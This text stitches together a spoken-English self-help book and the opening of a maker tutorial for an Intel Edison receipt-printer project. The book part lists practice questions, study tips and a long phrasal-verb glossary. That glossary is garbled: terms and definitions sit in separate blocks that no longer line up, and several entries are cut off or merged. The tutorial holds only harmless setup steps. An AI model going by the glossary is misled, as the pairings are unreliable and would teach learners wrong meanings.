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What’s the nature of your job ? Could you describe that incidence for me ? What business is it of theirs ? How can I learn to swim ? What does she expect to achieve by this nuisance ? Do you have to paint yourself ? Does it mean you think differently ? What is it about ? Have you got anything for fever ? Have you decided what to do ? Did any of them go there ? Does he sell sweets ? When does she want it back ? Can I give you a piece of advice ? What kind of lady would you say she is ? Group 3. Where did they meet ? When did he last write ? Who is she marrying ? Who did they come with ? Can you delay it a bit longer ? How long is the hall ? Do you require anything ? May I make a point about this offer ? Can you help me with your recommendation ? What I do better than you ? What shall I do with this broken pen ? How tall would you say that man is ? Do you want more sugar for your tea ? Where are you off to now ? What would you do if you had a millian rupees ? Can you spare a few moments for me ? Do you want to invite them ? How do you like this place ? Are there any fruits in the basket ? What height is the room ?
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Can you change me a 50-rupee note ? Who does she plan to go with ? When did you go to college ? Did you hear any strange voice ? Is it worth buying ? Is something the matter ? If you’re not too busy could I ask you to do it ? Just what are they objecting to ? Any time to spare day after tomorrow ? Do you like your coffee with or without sugar ? Why not discuss it with me ? Which seat should I sit in—this or that ? Which would be the better—this or that ? What time will I be in Delhi, if I take a bus ? What do you think of that fridge ? What qualities do you think a manager should have ? Could you let me know where that is available ? What do you think of this ? Is he here yet ? Why hasn’t he had a taxi ? How long will this take ? What has he been doing since he resigned ? How do you like this season ? What’s your view on her decision ? What time is best ? Would you like to buy one more ? What are you going to tell them ? How early did he get there ? Are you free this Sunday ? Where can she have gone ? Group 4. Is your typewriter in working order ? Do you think they are serious ? What is she afraid of ? Can I pay by cheque for it ? Can you imagine what she might do ?
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Had he been there ? Could I have made a mistake ? How early did you get there ? What do you like to do on holidays ? Do you read comics in your spare time ? What’s your opinion on this ? Who does he work for ? Can I have it for two weeks ? Can it be Priyanka ? Could you give me more tea ? Who paid for the lunch ? What magazine do you read ? Why argue with her ? Anything else to be done ? How much will you charge for dry-cleaning ? What do they charge ? Is anybody in the room ? What was it like in London ? Can you think of any way of doing that ? Who has got it wrong ? Do you know of an eye-specialist around here ? Isn’t it a horrible waste of time ? Who can be that on the line ? What are the alternatives ? Do you own a bike ? Have you got time to visit there ? Who would like to begin ? How about asking him ? If you know the answer, why didn’t you speak up ? What time will you come ? Shall I go now ? Have you ever seen a white Tiger ? Can you hear me ? Could you wait a little longer ? Can you come for a drink tomorrow ? Can you recommend a good hotel in Hyderabad ? Who keeps the keys ?
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What would happen if I refused to obey ? How many people was he able to meet ? Would you like me to help you with this ? Is that all ? Won’t her father be angry ? What date is today ? Would you like to start now ? Isn’t it rather expensive ? Group 5. How’ll you deal with this matter ? How long do you want her to stay ? Are they ready yet ? Which would you choose, if you were me ? What kind of furniture is that ? How many passengers does this taxi take ? Have you got any brothers or sisters ? How do you use to take notes in the class ? Have you anything to say ? Can you prove that I am wrong ? Whose pen is this ? Is she inside ? Are you there ? Did you all go straight to party afterwards ? Which of these three would you choose ? Would you mind switching the fan off ? How do you start this drill ? What are the office hours ? What would you advise ? Supposing it’s blowing hard, what would you do ? Are these guavas ? How would you feel if you were ignored ? Have you heard anything about her ? Did anybody call me ? Do you think she is going to be elected the mayor ? What’s the point of inviting her, if she won’t come ? What do you call that one you use to shine your shoes ?
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What’s her attitude towards it ? Where has she been all this time ? Did you count your change ? Haven’t you always wanted to go to Ooty ? Have you been to Bangalore recently ? Who’s the best person to ask ? What got her to change her mind ? What explanation do you give for it ? Would you get me some oranges on your way back ? Which’s your seat ? How did he get on ? How was he looking ? Do you think you could help them with this ? Is there enough food-grains ? Is there any vacant seat ? Why not wear a shirt ? Do you feel like taking a bath ? Who is behind all these disturbances ? Is there anything they want ? Could you help me with the cleaning up ? Is it customary to do like this ? Now what do you have to do ? Is she very bright ? Group 6. Who would know about such matters ? Have you any objection ? Are you with us or against us ? Where does he come from ? When can you let us have it back ? Are you certain he cried ? Why were you smelling that ? Any ideas for the holidays ? What programme you have for the weekend ? Is it an out-of-the-way place ? Seen any good movie during last week ? Is she badly hurt ? Was there any person there ?
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When can you do it for me ? What would you have done, if you were in the same situation ? Is that the reason he failed ? What’s the paper today ? What’re the today’s plans ? What’s behind all that number ? What did you think of her speech ? Do you like jogging ? How did the fire start ? Will this question-bank do ? Will you assist me check the accounts ? Are you for or against this proposal ? What would you prefer to do ? Why so serious ? Is she well known ? What’re you doing this Sunday ? How much do you want for this house ? Can he do some shopping for me ? Who’re there ? Have you any money with you ? Can you come tomorrow ? Is there anyone who doesn’t like it ? How much did you get for it ? Is it true that he is transferred ? Do you think that they were right ? Was she surprised ? Who told you we were short of money ? What’s so special about it ? Would you prefer to sit here or inside ? How does she find it ? What sort of picnic did they have ? Does he always get angry ? Has she telephoned yet ? Could you stick to this point please ? How about six O’clock ? Could you talk a bit more quietly ? Are you free or busy ?
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Things to Remember
• •
To Speak English Fluently, don’t try hard to use very new or extra-ordinary word-groups at this stage. Never try to go after colourful expressions and structures you see in the news papers, books or you hear over the radio or TV, to convey your message effectively to the listener. Always speak in spoken English and avoid speaking in written English. Always speak in small structures or in chunks; and try to avoid very lengthy word-groups or idea-units.
• •
Things to Do
• • •
Think of the contexts or situations in which you can frame the questions and can use them in your day-today conversation. Select about 20 questions from this chapter or frame your own questions every day. And create or look for contexts or situations to use them. Speak English Fluently the Rhythtech way to ensure your success.
Let Yourself Boost an Extra Confidence
You are required to boost up your confidence now. Your confidence can be puffed up with the help of one very little knack. And the little knack is ‘enough use of phrases’.* Yes, by using phrasal verbs, you can succeed to give an extra lustre to your speech fluency. Given herebelow is the list of selected phrasal verbs. Go through them carefully and ‘read out’† them. There is no need to learn them by heart. Just go through them, and try out to find the contexts to use them accordingly. Account for = to explain the cause of Act on = to exert influence on Act out = to play as an actor
*
For detailed study of phrases, please refer to ‘The world of Idioms and Phrases’, published by Upkar Prakashan.
† To read aloud.
S. E. F. Act up Answer back Answer for Ask after Ask for Back away Back down Back out Back up Bargain for Bear out Bear up Bear with Blow down Blow out Blow over Blow up Boil over Break away Break down Break in Break off Break off with Break out Break through Break up Bring about Bring back Bring in Bring off Bring out Bring over Bring round = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
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to behave badly to reply arrogantly to be responsible for to enquire about health to invite trouble to reverse away to abandon one’s opinion or position to move out backwards to give support to to expect to corroborate to keep up one’s spirits to make allowance for to knock down to extinguish by blowing to pass away, as a storm to lose one’s temper to spill-over after boiling to go away, escape to collapse, in tears; to fail completely to enter violently, to interrupt to detach by breaking, end suddenly to have no further relation with to get out by breaking; to burst into speech to overcome an obstacle to disintegrate, destroy or upset completely to cause to happen to return something to introduce something to achieve to make clear; to put before the public to convert to win over; to restore from illness
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S. E. F. = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = to bring into contact to rear or educate; to vomit to ignore, dismiss to clean and tidy; to renew one’s knowledge of to create, acquire, consolidate to enter suddenly into a room or into conversation to start violently into, e.g., scolding etc. to quarrel or disrupt to interrupt to fix or close by doing up buttons; to ready for action to get rid of by paying to bribe to summon to carry on another activity to visit again; to telephone again to visit in passing to invoke; to rebuke to ask loudly for; to demand; to require to visit; to demand repayment of to abandon; to cancel to make a short visit; to appeal to to challenge to fight a duel to read aloud (a list) to visit casually to summon; to mobilise to be concerned to attend; to look after to deprive of self-control by exciting the feelings; to transport to behave, demean oneself; to cause the death of; to gain, to win to continue; to have an affair
Bring together Bring up Brush off Brush up Build up Burst in Burst out Burst up But in Button up Buy off Buy over Call away Call back Call by Call down Call for Call in Call of Call on Call out Call over Call round Call up Care about Care for Carry away Carry it Carry off Carry on
S. E. F. Carry out Carry over Carry up Cart off Carve up Cash in on Cast about Cast away Cast back Cast down Cast off Cast out Cast up Catch on Catch out Catch up Chase up Check in Check out Check over Check up Clear off Clear out Clear up Close down Close with Clutter up Colour up Come about Come across = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
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Come across with =
to accomplish; to complete a task to postpone to next occassion to continue a building upward to remove to divide; to injure a person esp. by slashing with a razor. to turn to one’s advantage to look about; to search for to waste; to wreck to revert to deject; to turn downward to reject to quarrel to throw up; to turn up to comprehend; to become popular to detect in error or deceit to draw level and sometime over-take to pursue for a purpose to arrive at a hotel to give up one’s room and leave a hotel to inspect carefully to examine or verify to get rid of, dispose of to empty, a drawer etc. to explain; to make or to become clear to give up business; to come to stoppage of work to accede to; to accept ; to grapple with to make untidy by cluttering or crowding with many things to blush, flush to happen to be understood; to meet or find by chance to provide
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= to attack; to reach =
Come at Come by
S. E. F. Crack up Cross out Cry down Cry off Cry on Cry out for Cry up Cut across Cut back Cut down Cut in Cut off Cut out Cut short Cut up Dab on Deal in Deal with Dig in Dip in Dispose of Do away with Do by Do down Do for Do in Do out of Do over
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= to praise; to fail suddenly; to go to pieces = to delete from a list etc. = to decry = to withdraw from an agreement = to call upon = to be in urgent or obvious need of = to praise = to take shorter way = to reduce, e.g., expenses etc. = to curtail; to reduce, e.g., expenses etc. = to interpose; to interrupt = to disconnect; to stop flow of supplies, communication etc. = to shape; to debar; to give up a habit = to abridge; to silence by interruption = to cut into pieces; to criticise severally = to apply in small quantities = to do business or trade = to have to do with, to take action in regard to = to work hard = to take a share = to settle what is to be done with; to make an end of; to part with; to sell = to abolish; to destroy = to act towards = to put down; to cheat = to suit; to provide for; to ruin; to kill = to murder; to exhaust; to deceive = to deprive = to do again; to beat up
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S. E. F. = = = = = = = = = = = = = = = = = = = = = = = = = = = to fasten up; to redecorate to prosper; to be justified to make use of; to meddle with to dispense with, not to be dependent on to reduce, contract; to become shorter; to slow down and stop, e.g., car etc. to approach; to pull on to leave the place; to take money out of Bank account to prepare a written statement; to stop to plan in the mind, often unrealistically to come across to visit to depart, disappear to fall behind in performance to visit casually to sail, move or row down a coast to come, fall, set etc. in casually to fall asleep; to diminish to disappear from one’s place; to withdraw esp. from an academic course to stop talking; to lose inspiration to destroy gradually to corrode; to consume, use up to eat in a restaurant to encourage to finish (with, by); to come to an end, usually unsatisfactory to carry off by bold looks to face, to accept the challenge to laugh hysterically to meet by chance
Do up Do well Do with Do without Draw in Draw on Draw out Draw up Dream up Drop across Drop away Drop back Drop by Drop down Drop in Drop off Drop out Dry up Eat away Eat in Eat out Egg on End up Face out Face upto Fall about Fall across
S. E. F. Fall away Fall back Fall back on Fall behind Fall flat Fall for Fall in with Fall off Fall on Fall out Fall over Fall through Fall to Fed up Feel like Feel up to Fight down Fight off Fill in Fill up Finish off Fish for Fix on Fix up Flesh out Fling away Fly high Fly open
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= to decline gradually, to dwindle, to grow lean, to waste away = to retreat, give way = to depend on for support = to lag behind; to get in arrears = to fail completely = to be taken in by (a trick etc.); to be duped by = to concur or agree with; to comply with = to deteriorate; to perish; to die away = to begin eagerly; to make an attempt, to meet = to quarrel = to go to sleep; to go over to the enemy = to fail, come to nothing = to begin hastily; to begin to eat = to be tired, bored, depressed = to be in the mood for = to feel equal to, or capable of = to supress or restrain, e.g., an emotion = to resist, repel = to act as a temporary substitute; to add what is necessary to complete = to fill to the full, by addition of more = to conclude; to kill = to seek = to single out, decide for = to arrange; to settle; to put to rights, attend to = to give substance to; to elaborate on (an idea etc.) = to waste = to aim high, be ambitious = to open suddenly or violently
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S. E. verbally circumvent Fold up
S. E. F. Get up Give away Give back Give ear Give forth Give in Give off Give out Give over Give up Go about Go ahead Go along with Go aside Go at Go back on Go by Go down
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Go down with Go far Go for Go hang Go in Go in for Go it Go off Go on
= to rise from bed; to arrange; to prepare = to give for nothing; to betray = to return; to restore = to listen (to) = to emit; to publish; to expatiate = to yield, surrender; to hand in something = to emit, e.g., a smell = to report; to emit; to distribute to individuals = to transfer; to cease = to abandon; to surrender; to stop doing = to pass from place to place; to seek = to proceed at once, to continue = to agree with, support = to err; to withdraw; to retire = to attack vigorously = to betray, fail to keep (promise, etc.) = to pass by, base judgement on = to sink; to decline; to be swallowed, believed or accepted (with pleasure); to fail to fulfil one’s contract = to contract (an illness) = to go long way; to achieve success = to assail; to set out to secure; to fetch = to forgotten, neglected = to enter; to assemble regularly = to make a practice of; to take part in = to act in a striking or dashing manner = to leave, depart, go bad, e.g., milk etc. = to continue; to proceed; to behave; to fare
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S. E. F.
= to approach = increase; hammering possession
Go on for Go out
S. E. F. Hang over Hang tough Hang up Have in Have it Have on Have out Have up Hear of Hear out Hit back Hit it Hit on Hit out Hold back Hold by Hold forth Hold in Hold off Hold on Hold out Hold over Hold up
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= to project over or lean out from = to stay resolute or determined = to delay, to suspend; to replace a telephone receiver; to break of communication = to have people in one’s home, e.g., visitors = to prevail, to exceed in any way, to get punishment = to wear; to take in; to have as an appointment; to deceive; to tease; to mislead = to have extracted or removed = to call to account before a court of justice etc. = to listen to = to listen (to some one) until he has said all he wishes to say = to resist actively, strike in again = to find, often by chance, the right answer = to come upon, discover, devise; to single out = to strike out, esp. with the fist = to withhold; to restrain; to hesitate = to believe in = to put forward; to show; to speak in public = to restrain, check, supress = to keep at a distance = to persist in something = to endure, last; to continue resistance; to offer = to postpone; to keep possession of (land or house beyond the term of agreement) = to raise; to keep back; to endure; to bring to expose; to ehxibit; to stop
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S. E. F. = = = = = = to seek out to be silent; to suppress to waste (time) to take part; to participate to begin to dispute to link together; to connect; to unite to mix, compound to accept with enthusiasm, eagerness to complete in another, more difficult round to persist in anything to cause to stay at a distance, to withhold to restrain; to repress; to remain low to abstain from; to remain away from to prevent from escaping, to conceal, to restrain to stay away or refrain from to continue to stick closely; to confine oneself to to retain one’s strength or spirit; to support, prevent from falling, to maintain in good condition to mistreat physically; to saunter, loaf about to drink, eat; to cost to demolish; to fell with a blow, to reduce in price to stop (work), to deduct, to steal, to kill to dislodge by a blow, to overcome, demolish, to overwhelm with amazement, admiration etc. to rouse by knocking, to weary out, to be worn out, to construct or arrange hastly
Hunt out Hush up Idle away Join in Join issue Join up
Jumble together = Jump at = Jump off Keep at Keep back Keep down Keep from Keep in Keep off Keep on Keep to Keep up Knock about Knock back Knock down Knock off Knock out Knock up = = = = = = = = = = = = = = = =
S. E. F. Knuckle down Knuckle under Laugh at Laugh off Lay aside Lay at Lay by Lay down Lay on Lay out Lay up Lead off Lead on Lead up to Leave in Leave off Leave on Leave out Let down Let fall Let in Let off Let on Let out Let up Light up
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= to set oneself to hardwork = to yield to authority, pressure etc. = to mock, get amused about, to dismiss one as unimportant = to treat as of no importance = to discard; to put apart for future use = to endeavour to strike = to save; to keep for future use; to dismiss = to give up; to deposit, as a pledge; to formulate = to install a supply of; to provide = to display; to expend; to plan; to fall = to store up; to preserve; to confine to bad or one’s room = to begin or take the start in anything = to persuade to go on; to draw on = to prepare for by steps or stages; to play in challenge to, or with = to allow to remain = to desist; to terminate; to give up using = to allow to stay in place or position = to omit, exclude = to allow to fall, to lower = to drop = to allow to enter = to allow to go free or without exacting all = to allow to be believed, to pretend, to reveal = to allow to get free or to become known = to become less, to abate = to light one’s lamp, pipe, cigarette etc.
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S. E. F.
= to survive, to manage to forget = to attach great importance
Live down Live for Live on
S. E. F. Make out
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Make out of Make over Make up
Meet up Meet with Mess about Mess up Miss out Mix it Mix up Muster in Muster out Nod off Nod through Open fire Open out Open up Pass away
= to descry; to comprehend, understand; to prove; to seek to make it appear; to draw up; to achieve; to fill up; to succeed = to interpret (a situation or statement) = to remake, reconstruct; to transfer = to fabricate, to feign; to collect; to put together; to parcel; to arrange; to become friends again; to repair; to complete, supplement; to compensate = to meet, by chance or with an arrangement = to come to or upon, esp. unexpectedly; to encounter = to potter about; to behave in a foolish or annoying way; to upset, disturb = to make a mess of; to spoil; to confuse = to lose; to miss completely; to omit; to fail to take part = to fight forcefully = to involve; to be confused; to prepare by mixing thoroughly = to enroll, receive as recruits = to discharge from service = to fall asleap = to allow to vote by proxy (in Parliament) = to begin to shoot = to make or become more widely open; to expand; to disclose; to unpack; to develop = to open completely; speak frankly; to unfasten = to come to an end, go off; to die; to elapse
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S. E. F. = to move, go beyond or past; to ignore or overlook = to be mistaken for or accepted as = to disappear gradually, e.g., pain; to palm off; to impose fraudulently = to go forward; to proceed; to die, to go off; to complete military training, to faint = to undergo, experience = to renounce, to have nothing to do with = to pay in return (a debt); to give tit for tat = to make amends for, to suffer for; to bear the expense = to contribute to a fund; to deposit money in a bank account = to pay in full and discharge; to take revenge upon, to yield good results, justify itself = to cause to run out, as rope; to disburse = to turn the ship’s head = to pay in full; to pay arrears = to find fault with = to select from a number and shoot; to detach and remove = to single out; to carp at; to nag at = to make out, distinguish; to pluck out = to go over and select = to lift from the ground, floor etc; to recover after an illness; to learn or acquire without difficulty = to run ashore; to accumulate = to secure with a pin, to locate, limit, restrict; to confine, trap in a position
Pass by Pass for Pass off Pass on Pass through Pass up Pay back Pay for Pay in Pay off Pay out Pay round Pay up Pick at Pick off Pick on Pick out Pick over Pick up Pile up Pin down
S. E. F. Pin up Play about
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= to fix up with a pin = opportunities to; to flatter Puff up = to swollen with pride, presumption or the like Pull about = to treat roughly Pull back = to retreat, withdraw Pull down = to take down or apart; to demol imprison; to set aside Put back = to push backward; to delay; to repulse Put down = to crush, quell; to kill; to degrade; to enter, write down on paper; to attribute; to give up Put for = to make an attempt to gain
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S. E. F. = to extend; to propose; to display; to produce = to propose; to advance = to introduce; to insert; to lodge; to appoint = to request; to apply for = to lay aside; to take off; to palm off; to dismiss; to divert; to postpone; to disconcert = to don, clothe with; to assume; to mislead, deceive; to affix, attach, apply; to set to work = to expel; to dismiss; to expand; to extinguish; to put to in-convenience; to offend = to refer; to impress an audience = to bring to an end; to accomplish; to process = to apply; to add to; to set to; to shut = to compound; to parcel up; to put aside; to erect; to raise, e.g., price = to endure; to tolerate = to collect together; to discover = to talk continuously = to read aloud = to amass knowledge of by reading = to utter rapidly and fluently = to dress up or equip quickly with whatever available = to call again over phone = to close a conversation over phone = to call on the telephone = to steal; to exploit; to cheat, overcharge = to arrive by chance, or with a casual air = to assemble, arrive
Put forth Put forward Put in Put in for Put off Put on Put out Put over Put through Put to Put up Put up with Rake up Rattle on Read out Read up Reel off Rig out Ring back Ring off Ring up Rip off Roll along Roll up
S. E. F. Root out Rot away Rough it Rub along Rub down Rub out Rub up Run across Run after Run away with Run down Run dry Run for it Run into Run off Run on Run out Run over Run through Run up Scrub round Seal off See about
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= to remove by roots, to destroy totally, to extirpate = to rot or decay slowly and completely = to take whatever hardships come = to get along; to manage somehow = to rub from head to foot; to search by passing the hands over the body = to erase; to murder = to polish; to freshen one’s memory of = to come upon by accident = to pursue = to take away; to win easily = to knock down on road; to disparage = to come to an end; to cease to flow = to attempt to escape, run away from = to meet by chance; to extend into = to cause to flow out; to repeat, recount = to talk on and on; to continue in the same line = to run short; to terminate, expire, determine; to leak, let out liquid = to overflow; to overthrow, to knock down = to exhaust, to transfix; to read or perform quickly but completely = to make or mend hastily; to build hurriedly; to incur increasingly; to string up, hang = to cancel; to ignore intentionally = to make it impossible for anything, person, to leave or enter (an area etc.) = to consider, to attend to
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S. E. F. = to accompany (someone) at his departure, to get rid of, to reprimand = to see to the end = to be conducted all through = to help through a difficult time = to look after; to make sure about = to look for and find = to rusticate or expel = to summon or order, e.g., by messenger or post = to submit (an entry) for competition etc. = to despatch; to see off = to redirect, forward to a new address = to make persons to leave the room; to emit, to give out; to circulate = to make fun of; to sentence to imprisonment = to deal or distribute; to punish = to bring to table = to put aside; to reject; to lay by = to check, reverse; to cost = to lay up, to value or esteem; to care = to lay on the ground; to put in writing; to judge, esteem; to attribute, charge = to exhibit; to display; to praise, recommend; to start for a journey; to publish = to begin, e.g., season etc., to become prevalent = to mark off, lay off; to start off; to send off = to move on; to instigate; to incite to attack = to start, go forth; to adorn, to expound, to display
See off See out See round See through See to Seek out Send down Send for Send in Send off Send on Send out Send up Serve out Serve up Set aside Set back Set by Set down Set forth Set in Set off Set on Set out
S. E. F. Set to Set up Settle down Settle for Settle in Settle with Shake down Shake off Shake up Shape up Show away Show forth Show off Show up Sign away Sign off Sign on Single out Sink in Sit at Sit back Sit by Sit down Sit for Sit in
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= to affix; to apply oneself = to erect; to put up; to exalt = to calm down; to establish a home; to become reasonable = to agree to accept (as a compromise) = to adapt to a new environment = to come to an agreement = to cheat of one’s money at one stroke; to go to be (esp. in a temporary bed) = to get rid of, often by shaking = to rouse, mix, disturb, loosen by shaking = to make progress; to develop = to let out a secret = to manifest, proclaim = to display or behave ostentatiously = to expose; to appear to advantage or disadvantage; to be present; to appear, arrive = to transfer by signing = to record departure from work; to stop work etc. = to engage for a job etc. by signature = to distinguish or pick out for special treatment = to be absorbed; to be understood = to live at the rate of expense of = to take no active part = to look on without taking any action = to take a seat; to pause, rest; to begin a siege = to take examination = to be present as visitor at conference etc.
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S. E. F. = to hold an official enquiry regarding; to repress = to sit apart without participating; to sit to the end of = to become alert or started; to keep watch during the night, to sit upsight = to take mental measure of; to assess = to ease off freely = to slow = to classify, separate, arrange etc; to deal with, punish etc. = to speak loudly and freely (in complaint); to boast = to increase the power of = to cause to begin, kindle, animate = to be a proof of; to witness to = to speak boldly, freely, unreservedly = to speak so as to be easily heard = to quicken the rate of working = to prolong, protract = to betray, give (a person) away = to settle (a bill, account etc.) = to face up to and tackle = to resist = to stand to the rear, to keep clear = to support; to adhere to, abide by; to be at hand; to prepare to work at = to leave the witness box; to go off duty = to be a candidate for; to be a sponsor for; to represent; to put up with, endure = to cost; to become a party; to deputise, act as a substitute (for)
Sit on Sit out Sit up Size up Slack away Slack up Sort out Sound about Soup up Spark off Speak for Speak out Speak up Speed up Spin out Split on Square up Square up to Stand against Stand back Stand by Stand down Stand for Stand in
S. E. F. Stand off Stand on Stand out Stand over Stand to Stand up to Stand with Start in Start out Start up Step down Step in Step out Step up Stick around Stick at Stick out Stick to Stick up Stick up for Stink out Stir forth Stir up
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= to keep at a distance; to direct the course from = to continue on the same track or course; to insist on = to project; to be prominent; to refuse to yield = to keep (someone who is working) under close supervision; to postpone = to fall to, set to work; to back up; to upheld = to meet face–to–face; to show resistance = to be consistent = to begin = to begin a journey = to rise suddenly; to set in motion = to withdraw, retire, resign; to decrease the voltage of; to reduce the rate of = to enter easily or unexpectely; to intervene = to go out a little way; to have a gay social life = to come forward; to raise by steps; to increase the rate of, as production etc. = to remain in the vicinity = to hesitate or scruple at; to persist at = to project; to continue to resist; to be obvious = to persevere in holding to = to remain attached; to stay with; to remain loyal to = to speak or act in defence of = to drive out by a bad smell = to go out of doors = to excite; to incite; to arouse; to mix by stirring
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S. E. F. = to remain while group goes on = to break one’s journey = to seal up or close completely, e.g., a car = to disentangle, resolve = to fell; to make ill or cause to die = to enter suddenly; to agree = to erase from an account; to deduct, to remove = to efface; to bring into light; to swim away = to begin to beat, sing, or play = to hang = to dismantle, remove parts from = to take one’s clothes off = to pay up, fork out = to move about aimlessly = to arrive, either aimlessly or gracefully = to go against = to conform to = to become gradually less or fewer = to follow in resemblance = to oppose; to take a dislike to = to retract; to withdraw = to reduce; to lower; to demolish, pull down; to escort to the dining room; to report or write down to dictation = to come off, succeed; to come into force = to be careful = to remove; to swallow; to mimic = to receive aboard; to undertake; to assume = to remove from within; to extract; to go out with; to copy; to receive an equivalent for = to receive by transfer; to assume control of
Stop behind Stop over Stop up Straighten out Strike down Strike in Strike off Strike out Strike up String up Strip down Strip off Stump up Swan arround Swan up Swim against Swim with Tail off Take after Take against Take back Take down
Take effect Take heed Take off Take on Take out Take over
S. E. F. Take up Talk at Talk back Talk big Talk down Talk into Talk out Talk over Talk round Talk tall Talk to Talk up Tell off Tell on Think aloud Think back to Think for Think long Think out Think over Think through Think up Throw away Throw back Throw down
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= to lift, to raise; to pick up for use; to absorb; to accept; to interrupt sharply; to arrest = to address remarks indirectly; to talk to incessantly, without waiting for a response = to reply impudently = to talk boastfully = to argue down; to talk as to inferiors in intellect or education = to persuade = to defeat = to convince; to discuss, consider together = to talk of all sorts of related matters without coming to the point = to boast = to address; to rebuke = to speak boldly; to praise or boost; to make much of = to count off; to rate, chide = to betray, give away secrets about = to utter one’s thoughts unintentionally = to bring to one’s mind the memory of = to expect = to yearn; to weary (from deferred hopes or broedom) = to devise, project completely = to reconsider at leisure = to solve by a process of thought = to find by thinking, devise, concoct = to reject, toss aside; to squander; to bestow unworthily = to retort; to refuse = to demolish
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S. E. F. = to interject; to add as an extra = to divest oneself of; to utter or compose off-hand = to put on hastily = to make freely accessible = to cast out; to reject; to expel; to emit, to utter = to discard or desert = to erect hastily; to give up; to resign; to vomit = to carry over, or surmount, difficulties for the time at least = to agree with; to be closely associated with = to parcel up; to tether; to tie so as to remain up = to be linked with (as e.g., a book containing the story of) = to give a lower tone; to moderate; to soften = to heighten; to intesify; to make healthier = to finish (a building) by putting on the top or highest course = to fill up, e.g., with fuel oil = to perform, produce quickly; to drink off = to dress smartly, fancily = to throw a coin in order to decide; to cook and serve up hastily = to trigger = to lash lightly; stimulate = to find after intensive search = to deal in lower grade, cheaper goods = to give in part payment = to give one thing in return of another = To deal in higher grade, dearer goods
Throw in Throw off Throw on Throw open Throw out Throw over Throw up Tide over Tie in Tie up Tie with Tone down Tone up Top out Top up Toss off Toss out Toss up Touch off Touch up Track down Trade down Trade in Trade off Trade up
S. E. F. Trot out Tumble in Tumble over Tumble up Turn about Turn aside Turn away Turn back Turn down Turn forth Turn in Turn off Turn on Turn out Turn over Turn up
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Use up View away Visit with Vote down
= to bring forward, adduce, produce for show; to walk out with = to go to bed = to toss about carelessly, to upset; to fall over = to get out of bed; to throw into confusion = to spin, rotate; to face round to the opposite quarter = to avert; to deviate = to dismiss from service; to discharge; to refuse admittance; to depart = to cause to retreat; to return = to bend, double, or fold down; to invert = to expel = to bend inward; to enter; to surrender = to deviate; to dismiss; to complete; to switch off = to set running (as water); to depend on = to bend outwards; to drive out; to expel; to dress groom, take care of the appearance of; to muster = to roll over; to change sides; to hand over, pass on; to ponder; to rob = to fold upwards; to come, or bring, to light; to appear by chance; to invert; to disturb; to refer to = to consume; to exhaust; to tire out = to see by breaking the cover = to visit; to be guest with; to chat with = to defeat or supress by vote, or otherwise
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S. E. F. = = = = = to elect to make a very vigorous attack to wait for to stay out of bed waiting for to call upon, visit formally; to attend and serve to become conscious of, alive to to win with ease to beat; to storm at; to eat heartily of to leave; to depart; to get rid of by walking to walk ahead; to continue to walk to leave, esp. as a gesture of disapproval to cross, or traverse; to win an uncontested game to be proud, have self-respect to block with a wall, to entomb in a wall to make or become warm; to become animated, interested or eager to remove by washing; to cancel; to exhaust to wash one’s hands and face; to spoil; to finish to keep awake to welcome (the New Year) to look out, be careful to guard, take care of to sit up at night to make less strong to dismiss (a suggestion etc.) as irrelevant or unimportant to signal to stop by waving to diminish, or overcome, gradually by persistence to rub off by friction; to pass away by degrees
Vote in Wade in Wait on Wait up Wait upon
Wake up to = Walk away with = Walk into = Walk off Walk on Walk out Walk over Walk tall Wall up Warm up Wash out Wash up Watch in Watch out Watch over Watch up Water down Wave aside Wave down Wear down Wear off = = = = = = = = = = = = = = = = = =
S. E. F. Wear out Weather along Weather out Weigh down Weigh up Weigh with Win of Win on Win out Win over Wind down Wind up Wipe out Wire away Work at Work into Work off Work on Work out Work over Work up Wrap up Wring off Wring out Write down
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= to impair by use; to render useless by decay = to make headway against adverse weather = to hold out against till the end = to force down; to depress = to force up; to consider carefully and assess the quality of = to appear important to; to influence = to get the better of = to gain on; to obtain favour with, influence over = to get out, to be successful = to bring over to one’s opinion or party = to relax; to lose strength = to bring, or come, to a conclusion; to excite very much = to obliterate, annihilate or abolish = to act or work with vigour = to apply oneself to = to make way gradually into; to change, alter into = to separate and throw off = to influence, or try to do so = to effect by continued labour, to exhaust; to train, exercise (of an athlete) = to examine in detail; to beat up, thrash = to excite, rouse, to expand, elaborate = to settle completely; to have completely in hand = to force off by wringing = to squeeze out by twisting = to write; to reduce the book value of an asset
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S. E. F.
= to apply for; to send away for = :
Write for Write off
acquaintances of the same age group. It is not used for elderly persons. For example :
S. E. F. Hallo Raju ! How do you do ? Hello Ria ! Come here.
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Besides so many things, the knack of conversation, i.e., framing up of questions, plays an important role to gain speech-fluency. The Secret of Success in any sphere is a single worded Mantra—REPETITION, so of the spoken English. Keep it up. Practice, yes Perfect Practice is the “SUPREME SUTRA” to get skill in any art, so for the art of Spoken English. Keep it up.
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https://www.scribd.com/doc/14093676/Speak-English-Fluently
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refinedweb
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PCBot is an internet connected printer that helps you with electronics.
You can chat with it and ask to print a breadboard through the paper.
- Common electronic components and modules pinouts: you won’t need anymore to bring your laptop next to the soldering station or go crazy with multiple datasheet tabs on your browser.
- Just print any image: if you don’t find a component or a breadboard just send an image URL to the PCBot printer.
Share your breadboard template and help us to grow the images' database! WE ARE ON GITHUB
Step 1: Part List
- Intel Edison Kit for Arduino
- Mini Thermal Receipt Printer
- Jumper wires
- 9V DC power supply
- Lasercutted parts for the printer enclosure (you can download the .dxf file from the github repo)
- Female DC Power adapter
- USB cables
A mini roll of thermal paper
Step 2: Setup the Intel Edison Board
Connect the board to the local wifi
Set up a serial terminal and establish a network connection.
Check the official Getting Started guide from Intel, which covers all the steps needed for Mac OSX, Linux, Windows:
- Assemble your board and connect it to your system:
- Set up a serial terminal
- Connect the board to your local wifi Wi-Fi
Enable the ssh connection
While working on the board we realized that the ssh connection is quite low when the USB0 network is up and running.
If you want to smoothly connect to the board via SSH we suggest to stop the USB0 network interface and restart the WLAN0.
ifconfig usb0 down
ifconfig wlan0 down
ifconfig wlan0 up
Configure a SFTP client
If you are familiar with the terminal you probably won't need this.
However is very handy to setup a sftp client to visualize the files on your edison board and edit them on the fly.
For file transfer through SSH we are using Cyberduck on Mac OSX. For different operating systems, you can use WinSCP for Windows or filezilla on Linux.
Type your Edison’s IP address into the “Server” box. Then type “root” as the “Username” and your password if you set one. Then hit “Connect.”
Cyberduck will present you with a file explorer. This will allow for an easy, graphical interace for managing your Edison’s files.
Install git
The easiest way to download the needed code to your board is directly clone the github repository.
